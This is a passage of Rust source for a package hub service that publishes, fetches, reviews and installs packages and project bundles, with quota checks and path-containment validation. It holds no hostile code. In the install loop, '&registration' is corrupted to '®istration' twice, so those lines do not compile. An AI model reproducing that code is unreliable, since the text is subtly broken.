Ok((version_row, artifact, artifact_size_bytes))
}
pub fn get_release_referenced_artifact(
&self,
package_id: &str,
version: &str,
sha256: &str,
) -> Result<(HubAssetVersion, String, Vec<u8>), PlatformError> {
let store = self.require_public_store()?;
let Some(version_row) = store.data.get_hub_asset_version(package_id, version)? else {
return Err(PlatformError::new(
"HUB_ASSET_MISSING",
"asset version not found",
));
};
if version_row.retracted_at.is_some() {
return Err(PlatformError::new(
"HUB_VERSION_RETRACTED",
retraction_message(package_id, version, &version_row.retracted_reason),
));
}
validate_artifact_digest(sha256)?;
let artifact_abs = self.hub_artifact_path(&store, &version_row.artifact_rel_path)?;
let raw = fs::read(&artifact_abs)?;
verify_hub_artifact_bytes(&raw, &version_row.artifact_sha256)?;
let payload = parse_hub_artifact_bytes(&raw, "HUB_ARTIFACT_MISSING")?;
let Some((entry, artifact)) = payload.files.iter().find_map(|file| match file.supply() {
Some(HubPackageFileSupply::Referenced(artifact)) if artifact.sha256 == sha256 => {
Some((file, artifact))
}
_ => None,
}) else {
return Err(PlatformError::new(
"HUB_ARTIFACT_MISSING",
format!("release {package_id}@{version} references no artifact {sha256}"),
));
};
let bytes =
store
.artifact_channel()
.resolve(&entry.rel_path, artifact, entry.size_bytes)?;
let media_type = if artifact.media_type.is_empty() {
"application/octet-stream".to_string()
} else {
artifact.media_type.clone()
};
Ok((version_row, media_type, bytes))
}
pub fn get_latest_asset_media(
&self,
package_id: &str,
media_name: &str,
) -> Result<(HubAssetPackage, HubAssetMedia, Vec<u8>), PlatformError> {
let store = self.require_public_store()?;
let Some(package) = store.data.get_hub_asset_package(package_id)? else {
return Err(PlatformError::new(
"HUB_ASSET_MISSING",
"asset package not found",
));
};
let Some(media) = package
.media
.iter()
.find(|item| item.name == media_name)
.cloned()
else {
return Err(PlatformError::new("HUB_MEDIA_MISSING", "media not found"));
};
let bytes = store.artifact_channel().resolve(
&media.name,
&HubPackageArtifactRef {
sha256: media.artifact_sha256.clone(),
media_type: media.content_type.clone(),
},
media.size_bytes,
)?;
Ok((package, media, bytes))
}
pub fn import_remote_asset(
&self,
authority_owner: &str,
authority_project: &str,
token: &HubToken,
req: &RemoteHubPublishRequest,
) -> Result<(HubAssetPackage, HubAssetVersion), PlatformError> {
let _ = (authority_owner, authority_project);
let store = self.require_public_store()?;
let authority_owner = HUB_SERVICE_SCOPE_OWNER.to_string();
let authority_project = HUB_SERVICE_SCOPE_PROJECT.to_string();
let publisher_owner = slug_segment(&token.owner);
let publisher_id = slug_segment(&token.publisher_id);
refuse_reserved_publisher(&publisher_id)?;
let package_id = canonical_hub_package_id(&publisher_id, &req.package_id)?;
let version = req.version.trim().to_string();
if authority_owner.is_empty()
|| authority_project.is_empty()
|| publisher_owner.is_empty()
|| publisher_id.is_empty()
|| package_id.is_empty()
|| version.is_empty()
{
return Err(PlatformError::new(
"HUB_REMOTE_INVALID",
"authority, publisher, package id, and version must not be empty",
));
}
validate_hub_version(&version)?;
let Some(publisher) = store.data.get_hub_publisher(
HUB_SERVICE_SCOPE_OWNER,
HUB_SERVICE_SCOPE_PROJECT,
&publisher_id,
)?
else {
return Err(PlatformError::new(
"HUB_PUBLISHER_MISSING",
"publisher not found",
));
};
if !publisher.enabled {
return Err(PlatformError::new(
"HUB_PUBLISHER_DISABLED",
"publisher is disabled",
));
}
if !publisher.can_publish {
return Err(PlatformError::new(
"HUB_PUBLISHER_FORBIDDEN",
"publisher does not have publish permission",
));
}
self.enforce_release_immutability(&store, &package_id, &version)?;
let existing_package = store.data.get_hub_asset_package(&package_id)?;
let source_owner = slug_segment(&req.source_owner);
let source_project = slug_segment(&req.source_project);
let mut artifact = parse_hub_artifact_value(req.artifact.clone(), "HUB_REMOTE_INVALID")?;
if artifact.files.is_empty() {
return Err(PlatformError::new(
"HUB_REMOTE_INVALID",
"artifact must contain at least one file",
));
}
let decoded_media = decode_remote_hub_media(&req.media, &publisher)?;
let incoming_media = decoded_media
.iter()
.map(|(item, _)| item.clone())
.collect::<Vec<_>>();
let incoming_gallery = req.gallery.cover.is_some() || !req.gallery.items.is_empty();
let mut presentation = HubPresentation::from_existing(existing_package.as_ref());
if !req.summary.trim().is_empty() {
presentation.summary = req.summary.trim().to_string();
}
if !req.description_md.trim().is_empty() {
presentation.description_md = req.description_md.clone();
}
if !incoming_media.is_empty() {
presentation.media = incoming_media;
}
if incoming_gallery {
validate_hub_gallery(&req.gallery, &presentation.media)?;
presentation.gallery = req.gallery.clone();
}
if !decoded_media.is_empty() || incoming_gallery {
presentation.image_url = presentation
.gallery
.cover
.as_ref()
.map(|item| {
format!(
"/api/hub/remote/assets/{package_id}/media/{}",
item.media_name
)
})
.or_else(|| {
presentation
.media
.iter()
.find(|item| item.role == "cover")
.map(|item| {
format!("/api/hub/remote/assets/{package_id}/media/{}", item.name)
})
})
.unwrap_or_default();
}
sanitize_hub_export_entries(&mut artifact.files)?;
refuse_publish_violations(
"HUB_REMOTE_PUBLISH_REFUSED",
&review_publish_entries(
&publisher_layout(&artifact),
&artifact.asset_kind,
&artifact.files,
Vec::new(),
&artifact.title,
&artifact.description,
!decoded_media.is_empty(),
&store.artifact_channel(),
),
)?;
let artifact_rel = store.artifact_rel(&package_id, &version);
let artifact_abs = self.data_root.join(&artifact_rel);
if let Some(parent) = artifact_abs.parent() {
fs::create_dir_all(parent)?;
}
let artifact_bytes =
encode_hub_artifact(&package_id, &version, &artifact, "HUB_REMOTE_INVALID")?;
let artifact_value = serde_json::from_slice(&artifact_bytes)
.map_err(|err| PlatformError::new("HUB_REMOTE_INVALID", err.to_string()))?;
let now = now_ts();
let authority = self.ensure_service_authority(&store)?;
self.enforce_publisher_package_quota(
&store,
&publisher,
&package_id,
existing_package.as_ref(),
artifact_bytes.len(),
)?;
atomic_write(&artifact_abs, &artifact_bytes)?;
for (item, bytes) in &decoded_media {
let stored = self.store_artifact_in(&store, bytes)?;
if stored != item.artifact_sha256 {
return Err(PlatformError::new(
"HUB_MEDIA_INVALID",
"stored media digest does not match the declared hash",
));
}
}
let package = HubAssetPackage {
package_pk: existing_package
.as_ref()
.map(|item| item.package_pk.clone())
.filter(|value| !value.is_empty())
.unwrap_or_else(|| format!("mpkg_{}", random_hex(8))),
authority_id: authority.authority_id.clone(),
publisher_pk: publisher.publisher_pk.clone(),
package_id: package_id.clone(),
authority_owner: authority_owner.clone(),
authority_project: authority_project.clone(),
publisher_owner: publisher_owner.clone(),
publisher_id: publisher_id.clone(),
publisher_display_name: publisher.display_name.clone(),
publisher_url: publisher.publisher_url.clone(),
publisher_email: publisher.email.clone(),
asset_kind: validate_hub_asset_kind(&artifact.asset_kind)?,
title: if req.title.trim().is_empty() {
artifact.title.clone()
} else {
req.title.trim().to_string()
},
description: if req.description.trim().is_empty() {
artifact.description.clone()
} else {
req.description.trim().to_string()
},
summary: presentation.summary,
description_md: presentation.description_md,
image_url: presentation.image_url,
media: presentation.media,
gallery: presentation.gallery,
visibility: normalize_visibility(&req.visibility),
tags: req.tags.clone(),
retracted_at: None,
retracted_reason: String::new(),
created_at: existing_package.map(|item| item.created_at).unwrap_or(now),
updated_at: now,
};
let version_row = HubAssetVersion {
package_pk: package.package_pk.clone(),
package_id,
version,
authority_owner,
authority_project,
publisher_owner,
publisher_id,
source_owner,
source_project,
source_kind: req.source_kind.clone(),
source_ref: req.source_ref.clone(),
artifact_rel_path: artifact_rel,
artifact_sha256: sha256_hex(&artifact_bytes),
manifest: artifact_value,
retracted_at: None,
retracted_reason: String::new(),
created_at: now,
};
store.data.put_hub_asset_package(&package)?;
store.data.put_hub_asset_version(&version_row)?;
Ok((package, version_row))
}
pub async fn fetch_remote_pack_rows(
&self,
owner: &str,
project: &str,
) -> Result<Vec<HubRemotePackRow>, PlatformError> {
let repos = self.list_effective_repositories(owner, project)?;
let mut out = Vec::new();
for repo in repos.into_iter().filter(|item| item.enabled) {
let source = HubRepositoryRef::from(&repo);
let Ok(channel) = HubRepositoryChannel::open(&source) else {
continue;
};
let Ok(items) = channel.list().await else {
continue;
};
out.extend(
items
.into_iter()
.map(|item| pack_row(&source, item, "remote")),
);
}
Ok(out)
}
pub async fn fetch_platform_remote_app_rows(
&self,
owner: &str,
) -> Result<PlatformHubListing, PlatformError> {
let repos = self.list_platform_repositories(owner)?;
Ok(self
.fetch_platform_remote_app_rows_from_repositories(repos)
.await)
}
pub async fn fetch_platform_remote_app_rows_from_repositories(
&self,
repos: Vec<PlatformHubRepository>,
) -> PlatformHubListing {
let mut items = Vec::new();
let mut sources = Vec::new();
for repo in repos.into_iter().filter(|item| item.enabled) {
let source = HubRepositoryRef::from(&repo);
let mut status = HubRepositorySourceStatus {
repository_id: source.repository_id.clone(),
title: source.title.clone(),
kind: if source.kind.trim().is_empty() {
HUB_REPOSITORY_KIND_API.to_string()
} else {
source.kind.clone()
},
base_url: source.base_url.clone(),
priority: source.priority,
ok: false,
error: String::new(),
};
match HubRepositoryChannel::open(&source) {
Ok(channel) => match channel.list().await {
Ok(listed) => {
status.ok = true;
items.extend(
listed
.into_iter()
.filter(|item| item.asset_kind == HUB_ASSET_KIND_PROJECT_BUNDLE)
.map(|item| pack_row(&source, item, "remote")),
);
}
Err(error) => status.error = error.to_string(),
},
Err(error) => status.error = error.to_string(),
}
sources.push(status);
}
PlatformHubListing { items, sources }
}
#[allow(clippy::too_many_arguments)]
pub async fn install_remote_pack_from_repository(
&self,
target_owner: &str,
target_project: &str,
repository_id: &str,
package_id: &str,
version: &str,
target_folder: &str,
) -> Result<HubInstallResult, PlatformError> {
let (channel, artifact) = self
.fetch_project_scope_package(
target_owner,
target_project,
repository_id,
package_id,
version,
)
.await?;
let artifacts = self
.remote_artifact_channel(&artifact.files, &channel, package_id, version)
.await?;
let source = match &channel {
HubRepositoryChannel::Api(_) => {
crate::contracts::kinds::DependencyLockSource::HubPublic
}
HubRepositoryChannel::Static(_) => {
crate::contracts::kinds::DependencyLockSource::HubStatic
}
};
self.install_artifact_payload_from(
slug_segment(target_owner),
slug_segment(target_project),
package_id,
version,
target_folder,
HubInstallProvenance::new(source, package_id, version),
artifact,
&artifacts,
)
}
#[allow(clippy::too_many_arguments)]
pub async fn review_remote_pack_from_repository(
&self,
target_owner: &str,
target_project: &str,
repository_id: &str,
package_id: &str,
version: &str,
target_folder: &str,
) -> Result<HubInstallReview, PlatformError> {
let (channel, artifact) = self
.fetch_project_scope_package(
target_owner,
target_project,
repository_id,
package_id,
version,
)
.await?;
let artifacts = self
.remote_artifact_channel(&artifact.files, &channel, package_id, version)
.await?;
self.review_artifact_payload(
&slug_segment(target_owner),
&slug_segment(target_project),
package_id,
version,
target_folder,
&artifact,
&artifacts,
)
}
async fn fetch_project_scope_package(
&self,
target_owner: &str,
target_project: &str,
repository_id: &str,
package_id: &str,
version: &str,
) -> Result<(HubRepositoryChannel, HubPackageSpec), PlatformError> {
let repo = self
.list_effective_repositories(target_owner, target_project)?
.into_iter()
.find(|item| item.repository_id == repository_id)
.ok_or_else(|| PlatformError::new("HUB_REPOSITORY_MISSING", "repository not found"))?;
let channel = HubRepositoryChannel::open(&HubRepositoryRef::from(&repo))?;
let artifact = channel.fetch(package_id, version).await?;
Ok((channel, artifact))
}
pub async fn install_remote_project_from_platform_repository(
&self,
owner: &str,
repository_id: &str,
package_id: &str,
version: &str,
scope: HubInstallScope,
) -> Result<ProjectBundleInstallResult, PlatformError> {
self.install_remote_project_from_platform_source(
owner,
owner,
repository_id,
package_id,
version,
scope,
)
.await
}
#[allow(clippy::too_many_arguments)]
pub async fn install_remote_project_from_platform_source(
&self,
source_owner: &str,
target_owner: &str,
repository_id: &str,
package_id: &str,
version: &str,
scope: HubInstallScope,
) -> Result<ProjectBundleInstallResult, PlatformError> {
scope.validate()?;
let target_owner = slug_segment(target_owner);
let (channel, artifact) = self
.fetch_platform_project_bundle(source_owner, repository_id, package_id, version)
.await?;
let artifacts = self
.remote_artifact_channel(&artifact.files, &channel, package_id, version)
.await?;
self.install_project_bundle(&target_owner, package_id, &artifact, &artifacts, scope)
}
pub async fn review_remote_project_from_platform_repository(
&self,
owner: &str,
repository_id: &str,
package_id: &str,
version: &str,
scope: HubInstallScope,
) -> Result<ProjectBundleInstallReview, PlatformError> {
self.review_remote_project_from_platform_source(
owner,
owner,
repository_id,
package_id,
version,
scope,
)
.await
}
#[allow(clippy::too_many_arguments)]
pub async fn review_remote_project_from_platform_source(
&self,
source_owner: &str,
target_owner: &str,
repository_id: &str,
package_id: &str,
version: &str,
scope: HubInstallScope,
) -> Result<ProjectBundleInstallReview, PlatformError> {
scope.validate()?;
let target_owner = slug_segment(target_owner);
let (channel, artifact) = self
.fetch_platform_project_bundle(source_owner, repository_id, package_id, version)
.await?;
let artifacts = self
.remote_artifact_channel(&artifact.files, &channel, package_id, version)
.await?;
self.review_project_bundle(
&target_owner,
package_id,
version,
&artifact,
&artifacts,
scope,
)
}
async fn fetch_platform_project_bundle(
&self,
source_owner: &str,
repository_id: &str,
package_id: &str,
version: &str,
) -> Result<(HubRepositoryChannel, HubPackageSpec), PlatformError> {
let source_owner = slug_segment(source_owner);
let repo = self
.list_platform_repositories(&source_owner)?
.into_iter()
.find(|item| item.repository_id == repository_id)
.ok_or_else(|| PlatformError::new("HUB_REPOSITORY_MISSING", "repository not found"))?;
let channel = HubRepositoryChannel::open(&HubRepositoryRef::from(&repo))?;
let artifact = channel.fetch(package_id, version).await?;
Ok((channel, artifact))
}
fn install_project_bundle(
&self,
target_owner: &str,
package_id: &str,
artifact: &HubPackageSpec,
artifacts: &HubArtifactChannel,
scope: HubInstallScope,
) -> Result<ProjectBundleInstallResult, PlatformError> {
let target_owner = slug_segment(target_owner);
let base_project = project_bundle_base_slug(package_id)?;
let plan = ProjectBundleInstallPlan::build(artifact, artifacts, scope)?;
let prepared = plan.accept()?;
let project_title = if artifact.title.trim().is_empty() {
package_id.to_string()
} else {
artifact.title.clone()
};
let mut suffix = 1usize;
let (project, entries) = loop {
let candidate = project_bundle_slug_candidate(&base_project, suffix);
if self
.control_data
.get_project(&target_owner, &candidate)?
.is_some()
{
suffix += 1;
continue;
}
let entries = prepared.retargeted_entries(&candidate)?;
match self.projects.create_or_update_project(
&target_owner,
&CreateProjectRequest {
project: candidate.clone(),
title: Some(project_title.clone()),
local_branch: None,
runtime: ProjectRuntimeSelectionRequest::default(),
},
) {
Ok(_) => break (candidate, entries),
Err(err)
if err.code == "PLATFORM_GIT_INIT"
|| err.code == "PROJECT_EXISTS"
|| err.code == "PLATFORM_PROJECT_EXISTS" =>
{
suffix += 1;
continue;
}
Err(err) => return Err(err),
}
};
let layout = self.projects.project_layout(&target_owner, &project)?;
clear_repo_worktree_preserving_git(&layout.repo_dir)?;
for entry in &entries {
let dest_abs = sanitize_install_repo_path(&layout, &entry.destination)?;
if let Some(parent) = dest_abs.parent() {
fs::create_dir_all(parent)?;
}
atomic_write(&dest_abs, &entry.bytes)?;
}
for registration in &prepared.registrations {
self.projects.upsert_pipeline_definition(
&target_owner,
&project,
®istration.identity,
"",
®istration.description,
®istration.trigger_kind,
®istration.source,
)?;
}
if scope.execute_schema {
sekejap::apply_schema_from_repo(&self.data_root, &target_owner, &project)?;
sqlite_schema::apply_schema_from_repo(
&self.data_root,
&target_owner,
&project,
&layout.repo_layout,
)?;
execute_project_initial_data(
&self.data_root,
&target_owner,
&project,
&layout,
&plan.initial_data,
)?;
}
for identity in &prepared.pipelines_activated {
self.projects
.activate_pipeline_definition(&target_owner, &project, identity)?;
}
Ok(ProjectBundleInstallResult {
owner: target_owner,
project,
scope,
files_written: plan.destinations.clone(),
skipped_files: plan.skipped_files.clone(),
pipelines_registered: prepared.pipeline_identities(),
pipelines_activated: prepared.pipelines_activated.clone(),
pipelines_not_activated: prepared.pipelines_not_activated.clone(),
unexecuted_initial_data: plan.unexecuted_initial_data.clone(),
schema_executed: scope.execute_schema,
database_initialization: plan.database_initialization.clone(),
})
}
fn review_project_bundle(
&self,
target_owner: &str,
package_id: &str,
version: &str,
artifact: &HubPackageSpec,
artifacts: &HubArtifactChannel,
scope: HubInstallScope,
) -> Result<ProjectBundleInstallReview, PlatformError> {
let target_owner = slug_segment(target_owner);
let base_project = project_bundle_base_slug(package_id)?;
let plan = ProjectBundleInstallPlan::build(artifact, artifacts, scope)?;
let mut suffix = 1usize;
let project = loop {
let candidate = project_bundle_slug_candidate(&base_project, suffix);
if self
.control_data
.get_project(&target_owner, &candidate)?
.is_none()
{
break candidate;
}
suffix += 1;
};
let safety = plan.safety.clone();
Ok(ProjectBundleInstallReview {
package_id: package_id.to_string(),
version: version.to_string(),
asset_kind: artifact.asset_kind.clone(),
owner: target_owner,
project,
scope,
files_written: plan.destinations.clone(),
skipped_files: plan.skipped_files.clone(),
pipelines_registered: plan.pipeline_identities(),
pipelines_activated: plan.pipelines_activated(),
pipelines_not_activated: plan.pipelines_not_activated(),
schema_executed: scope.execute_schema,
unexecuted_initial_data: plan.unexecuted_initial_data.clone(),
database_initialization: plan.database_initialization.clone(),
project_initialization: serde_json::to_value(&artifact.project_initialization)
.unwrap_or(Value::Null),
nodes_used: safety.nodes_used,
credentials_required: safety.credentials_required,
external_urls: safety.external_urls,
database_effects: safety.database_effects,
filesystem_effects: safety.filesystem_effects,
network_effects: safety.network_effects,
code_execution: safety.code_execution,
public_endpoints: safety.public_endpoints,
schedules: safety.schedules,
large_files: safety.large_files,
seed_data: safety.seed_data,
warnings: safety.warnings,
installable: safety.violations.is_empty(),
violations: safety.violations,
risk_level: install_risk_level(&plan.safety, false),
})
}
fn preview_pipeline(
&self,
owner: &str,
project: &str,
layout: &ProjectFileLayout,
source_ref: &str,
) -> Result<HubExportPreview, PlatformError> {
let Some(meta) = self
.projects
.get_pipeline_meta_by_file_id(owner, project, source_ref)?
else {
return Err(PlatformError::new(
"HUB_PUBLISH_MISSING",
format!("pipeline '{}' not found", source_ref),
));
};
let mut warnings = Vec::new();
let pipeline_repo_rel = layout.repo_layout.source_rel(&meta.file_rel_path);
let mut entries = vec![read_repo_entry(
layout,
&pipeline_repo_rel,
"primary pipeline".to_string(),
)?];
let source = self
.projects
.read_pipeline_source(owner, project, &meta.file_rel_path)?;
let document = decode_pipeline_graph(source.as_bytes()).map_err(|error| {
PlatformError::new(
"HUB_PREVIEW",
format!("invalid pipeline '{}': {error}", meta.file_rel_path),
)
})?;
let mut seen = BTreeSet::new();
seen.insert(pipeline_repo_rel);
for node in &document.spec.nodes {
if node.kind != "n.web.response" {
continue;
}
let Some(template_rel) = node.config.get("template").and_then(Value::as_str) else {
continue;
};
self.collect_template_dependency_entries(
layout,
template_rel,
"web response template".to_string(),
&mut seen,
&mut entries,
&mut warnings,
)?;
}
entries.sort_by(|a, b| a.rel_path.cmp(&b.rel_path));
Ok(build_preview(
HUB_ASSET_KIND_PIPELINE_BUNDLE.to_string(),
"pipeline_with_dependencies".to_string(),
meta.file_rel_path.clone(),
meta.title,
if meta.description.trim().is_empty() {
"Pipeline export with local project dependencies".to_string()
} else {
meta.description
},
entries,
warnings,
))
}
fn preview_template(
&self,
owner: &str,
project: &str,
layout: &ProjectFileLayout,
source_ref: &str,
) -> Result<HubExportPreview, PlatformError> {
let listing = self.projects.list_repo_tree(owner, project, &RepoTreeScope::all())?;
let selected = listing
.items
.into_iter()
.find(|item| item.kind != "folder" && item.rel_path == source_ref)
.ok_or_else(|| {
PlatformError::new(
"HUB_PUBLISH_MISSING",
format!("template '{}' not found", source_ref),
)
})?;
let mut warnings = Vec::new();
let mut entries = Vec::new();
let mut seen = BTreeSet::new();
self.collect_template_dependency_entries(
layout,
&selected.rel_path,
"primary template".to_string(),
&mut seen,
&mut entries,
&mut warnings,
)?;
entries.sort_by(|a, b| a.rel_path.cmp(&b.rel_path));
Ok(build_preview(
HUB_ASSET_KIND_TEMPLATE_BUNDLE.to_string(),
"template_with_dependencies".to_string(),
selected.rel_path.clone(),
selected.name,
format!(
"Template export with {} local dependencies",
entries.len().saturating_sub(1)
),
entries,
warnings,
))
}
fn preview_folder(
&self,
layout: &ProjectFileLayout,
source_ref: &str,
) -> Result<HubExportPreview, PlatformError> {
let mut entries = collect_tree_entries(layout, source_ref)?;
entries.sort_by(|a, b| a.rel_path.cmp(&b.rel_path));
let name = Path::new(source_ref)
.file_name()
.and_then(|v| v.to_str())
.unwrap_or(source_ref)
.to_string();
Ok(build_preview(
HUB_ASSET_KIND_FOLDER_BUNDLE.to_string(),
"folder_files".to_string(),
source_ref.to_string(),
name,
"Recursive folder export".to_string(),
entries,
Vec::new(),
))
}
fn preview_skill(
&self,
layout: &ProjectFileLayout,
source_ref: &str,
) -> Result<HubExportPreview, PlatformError> {
let rel_root = normalize_repo_rel(source_ref);
let source_prefixed = layout.repo_layout.strip_source(&rel_root).map(str::to_string);
let source_rel = source_prefixed.clone().unwrap_or_else(|| rel_root.clone());
let name = skill_folder_name(&source_rel)?;
let mut entries = collect_tree_entries(layout, &rel_root)?;
for entry in entries.iter_mut() {
if let Some(rest) = layout.repo_layout.strip_source(&entry.rel_path) {
entry.rel_path = rest.to_string();
}
}
entries.sort_by(|a, b| a.rel_path.cmp(&b.rel_path));
let skill = validate_skill_entries(&name, &entries)?;
Ok(build_preview(
HUB_ASSET_KIND_SKILL.to_string(),
"skill_folder".to_string(),
source_ref.to_string(),
name,
skill.description,
entries,
Vec::new(),
))
}
fn preview_project(
&self,
layout: &ProjectFileLayout,
) -> Result<HubExportPreview, PlatformError> {
let mut entries = collect_tree_entries(layout, ".")?;
entries.sort_by(|a, b| a.rel_path.cmp(&b.rel_path));
Ok(build_preview(
HUB_ASSET_KIND_PROJECT_BUNDLE.to_string(),
"project_files".to_string(),
".".to_string(),
"Project files".to_string(),
"Full repo export".to_string(),
entries,
Vec::new(),
))
}
fn collect_template_dependency_entries(
&self,
layout: &ProjectFileLayout,
rel_path: &str,
reason: String,
seen: &mut BTreeSet<String>,
entries: &mut Vec<HubPackageFile>,
warnings: &mut Vec<String>,
) -> Result<(), PlatformError> {
let normalized = normalize_template_repo_rel(&layout.repo_layout, rel_path);
if normalized.is_empty() || !seen.insert(normalized.clone()) {
return Ok(());
}
let abs = layout.repo_dir.join(&normalized);
if !abs.is_file() {
warnings.push(format!("Skipped missing dependency '{}'", normalized));
return Ok(());
}
let entry = read_repo_entry(layout, &normalized, reason)?;
let source_text = if entry.encoding == "text" {
entry.content.clone()
} else {
None
};
entries.push(entry);
let Some(source_text) = source_text else {
return Ok(());
};
let import_sources = extract_import_sources(&source_text);
for src in import_sources {
match resolve_local_import(layout, &normalized, &src) {
Some(dep_rel) => self.collect_template_dependency_entries(
layout,
&dep_rel,
format!("imported from {}", normalized),
seen,
entries,
warnings,
)?,
None => {
if src.starts_with("@/") || src.starts_with('.') {
warnings.push(format!(
"Skipped unresolved local import '{}' from '{}'",
src, normalized
));
}
}
}
}
Ok(())
}
}
impl HubService {
fn require_enabled(&self) -> Result<PlatformServiceInstance, PlatformError> {
match self.get_default_service_instance()? {
Some(service) if service.enabled => Ok(service),
_ => Err(PlatformError::new(
"HUB_SERVICE_DISABLED",
"hub service is not enabled",
)),
}
}
fn ensure_store_authority(&self) -> Result<HubAuthority, PlatformError> {
if let Some(authority) = self
.local_store
.data
.get_hub_authority(HUB_SERVICE_SCOPE_OWNER, HUB_SERVICE_SCOPE_PROJECT)?
{
return Ok(authority);
}
let service = self.get_default_service_instance()?;
let now = now_ts();
let authority = HubAuthority {
authority_id: LOCAL_HUB_STORE_DIR.to_string(),
host_project_id: service
.as_ref()
.map(|item| item.host_office_id.clone())
.unwrap_or_default(),
owner: HUB_SERVICE_SCOPE_OWNER.to_string(),
project: HUB_SERVICE_SCOPE_PROJECT.to_string(),
enabled: true,
public_base_url: service.map(|item| item.public_base_url).unwrap_or_default(),
created_at: now,
updated_at: now,
};
self.local_store.data.put_hub_authority(&authority)?;
Ok(authority)
}
fn ensure_service_authority(&self, store: &HubStore) -> Result<HubAuthority, PlatformError> {
if let Some(authority) = store
.data
.get_hub_authority(HUB_SERVICE_SCOPE_OWNER, HUB_SERVICE_SCOPE_PROJECT)?
{
return Ok(authority);
}
let service = self.require_enabled()?;
let now = now_ts();
let authority = HubAuthority {
authority_id: DEFAULT_HUB_SERVICE_INSTANCE_ID.to_string(),
host_project_id: service.host_office_id,
owner: HUB_SERVICE_SCOPE_OWNER.to_string(),
project: HUB_SERVICE_SCOPE_PROJECT.to_string(),
enabled: true,
public_base_url: service.public_base_url,
created_at: now,
updated_at: now,
};
store.data.put_hub_authority(&authority)?;
Ok(authority)
}
fn hub_artifact_path(
&self,
store: &HubStore,
rel_path: &str,
) -> Result<PathBuf, PlatformError> {
let rel_path = rel_path.trim().replace('\\', "/");
if rel_path.is_empty() || rel_path.contains('\0') {
return Err(PlatformError::new(
"HUB_ARTIFACT_PATH_INVALID",
"artifact path is invalid",
));
}
let rel = Path::new(&rel_path);
if rel.is_absolute()
|| rel
.components()
.any(|component| !matches!(component, std::path::Component::Normal(_)))
{
return Err(PlatformError::new(
"HUB_ARTIFACT_PATH_INVALID",
"artifact path must be a contained relative path",
));
}
let service_rel_prefix = format!("services/{}/", store.dir);
if !rel_path.starts_with(&service_rel_prefix) {
return Err(PlatformError::new(
"HUB_ARTIFACT_PATH_INVALID",
"artifact path must live under the hub service root",
));
}
let service_root = store.root.clone();
let abs = self.data_root.join(rel);
let service_root = fs::canonicalize(&service_root)?;
let abs = fs::canonicalize(&abs)?;
if !abs.starts_with(&service_root) {
return Err(PlatformError::new(
"HUB_ARTIFACT_PATH_INVALID",
"artifact path escapes hub service root",
));
}
Ok(abs)
}
fn hub_artifact_path_for_delete(
&self,
store: &HubStore,
rel_path: &str,
) -> Result<PathBuf, PlatformError> {
let rel_path = rel_path.trim().replace('\\', "/");
if rel_path.is_empty() || rel_path.contains('\0') {
return Err(PlatformError::new(
"HUB_ARTIFACT_PATH_INVALID",
"artifact path is invalid",
));
}
let rel = Path::new(&rel_path);
if rel.is_absolute()
|| rel
.components()
.any(|component| !matches!(component, std::path::Component::Normal(_)))
{
return Err(PlatformError::new(
"HUB_ARTIFACT_PATH_INVALID",
"artifact path must be a contained relative path",
));
}
let service_rel_prefix = format!("services/{}/", store.dir);
if !rel_path.starts_with(&service_rel_prefix) {
return Err(PlatformError::new(
"HUB_ARTIFACT_PATH_INVALID",
"artifact path must live under the hub service root",
));
}
Ok(self.data_root.join(rel))
}
fn enforce_release_immutability(
&self,
store: &HubStore,
package_id: &str,
version: &str,
) -> Result<(), PlatformError> {
let Some(existing) = store.data.get_hub_asset_version(package_id, version)? else {
return Ok(());
};
if existing.retracted_at.is_some() {
return Err(PlatformError::new(
"HUB_VERSION_RETRACTED",
format!(
"{package_id}@{version} was retracted and its coordinates can never be reused; publish a new version"
),
));
}
Err(PlatformError::new(
"HUB_VERSION_EXISTS",
format!(
"{package_id}@{version} is already published and releases are immutable; bump the version and publish again"
),
))
}
fn enforce_publisher_package_quota(
&self,
store: &HubStore,
publisher: &HubPublisher,
package_id: &str,
existing_package: Option<&HubAssetPackage>,
artifact_bytes: usize,
) -> Result<(), PlatformError> {
let max_package_bytes = normalize_limit(
publisher.max_package_bytes,
DEFAULT_PUBLISHER_MAX_PACKAGE_BYTES,
);
let max_packages = normalize_limit(publisher.max_packages, DEFAULT_PUBLISHER_MAX_PACKAGES);
if artifact_bytes as i64 > max_package_bytes {
return Err(PlatformError::new(
"HUB_PUBLISHER_QUOTA_EXCEEDED",
"publisher artifact byte limit exceeded",
));
}
if let Some(existing) = existing_package {
if existing.publisher_id != publisher.publisher_id
|| existing.publisher_pk != publisher.publisher_pk
{
return Err(PlatformError::new(
"HUB_PACKAGE_FORBIDDEN",
"package id already belongs to another publisher",
));
}
return Ok(());
}
let package_count = store
.data
.list_hub_asset_packages()?
.into_iter()
.filter(|item| {
item.publisher_id == publisher.publisher_id
&& item.publisher_pk == publisher.publisher_pk
})
.count() as i64;
if package_count >= max_packages {
return Err(PlatformError::new(
"HUB_PUBLISHER_QUOTA_EXCEEDED",
"publisher package count limit exceeded",
));
}
if package_id.is_empty() {
return Err(PlatformError::new(
"HUB_PUBLISH_INVALID",
"package id must not be empty",
));
}
Ok(())
}
}
fn clear_repo_worktree_preserving_git(repo_dir: &Path) -> Result<(), PlatformError> {
let entries =
fs::read_dir(repo_dir).map_err(|err| PlatformError::new("HUB_INSTALL", err.to_string()))?;
for entry in entries.flatten() {
let path = entry.path();
let keep = path
.file_name()
.and_then(|value| value.to_str())
.map(|name| name == ".git")
.unwrap_or(false);
if keep {
continue;
}
if path.is_dir() {
fs::remove_dir_all(&path)
.map_err(|err| PlatformError::new("HUB_INSTALL", err.to_string()))?;
} else {
fs::remove_file(&path)
.map_err(|err| PlatformError::new("HUB_INSTALL", err.to_string()))?;
}
}
Ok(())
}
fn sanitize_install_repo_path(
layout: &ProjectFileLayout,
rel_path: &str,
) -> Result<PathBuf, PlatformError> {
if rel_path_escapes_root(rel_path) {
return Err(PlatformError::new(
"HUB_INSTALL",
format!("artifact path '{rel_path}' escaped repo root"),
));
}
let abs = layout.repo_dir.join(normalize_repo_rel(rel_path));
if !abs.starts_with(&layout.repo_dir) {
return Err(PlatformError::new(
"HUB_INSTALL",
"artifact path escaped repo root",
));
}
Ok(abs)
}
fn build_preview(
asset_kind: String,
source_type: String,
source_ref: String,
name: String,
description: String,
entries: Vec<HubPackageFile>,
warnings: Vec<String>,
) -> HubExportPreview {
let total_bytes = entries.iter().map(|item| item.size_bytes).sum();
let total_files = entries.len();
HubExportPreview {
asset_kind,
source_type,
source_ref,
name,
description,
entries,
warnings,
total_files,
total_bytes,
}
}
fn text_export_entry(rel_path: &str, kind: &str, reason: &str, content: String) -> HubPackageFile {
HubPackageFile {
